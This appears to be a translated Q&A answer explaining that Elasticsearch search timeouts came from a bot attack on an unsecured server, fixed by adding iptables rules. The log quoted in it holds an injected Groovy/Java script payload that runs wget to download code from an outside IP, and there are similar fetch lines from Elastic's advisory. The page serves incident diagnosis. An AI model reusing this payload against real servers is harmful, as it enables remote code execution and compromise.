MongoDB
 sql >> база данни >  >> NoSQL >> MongoDB

Времето за изчакване на Elasticsearch при всяка заявка за търсене до рестартиране

Проблемът е разрешен:

Причина: Роботизирана атака срещу нашите сървъри, които не са били защитени.

Според статия, публикувана от elasticsearch:

https://www.elastic.co/blog/scripting-security/

Предприето действие: Добавихме правила за iptables към нашия марионетен сървър, за да приложим всички наши еластични сървъри за търсене.

Направихме тази грешка и за съжаление платихме цената. Върнахме се и работим в момента.

Ами според регистрационните файлове открих нещо много подозрително

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

Ще съкратя основната част:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

Това е форма на хакване на роботи, тъй като нямаме никой на име xiao или не хостваме нашите сървъри в Китай (Според GEO-IP), подозирахме тази линия.

Според горепосочената статия:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

Хакерът приложи някои неприятни заявки, които накараха нашето elasticsearch да спре да функционира.

Рестартирахме нашите сървъри и добавихме Iptables и отново сме на работа.




  1. Redis
  2.   
  3. MongoDB
  4.   
  5. Memcached
  6.   
  7. HBase
  8.   
  9. CouchDB
  1. Как да свържа MongoDB с PowerShell?

  2. как да активирам mongodb cli pretty print? - db.col.find().pretty() не работи

  3. Как мога да се справя с пресичането на масиви в find({})?

  4. Какъв е C# еквивалентът на push и root за MongoDB?

  5. Правилен начин за търсене на записи в MongoDB по „_id“ в Node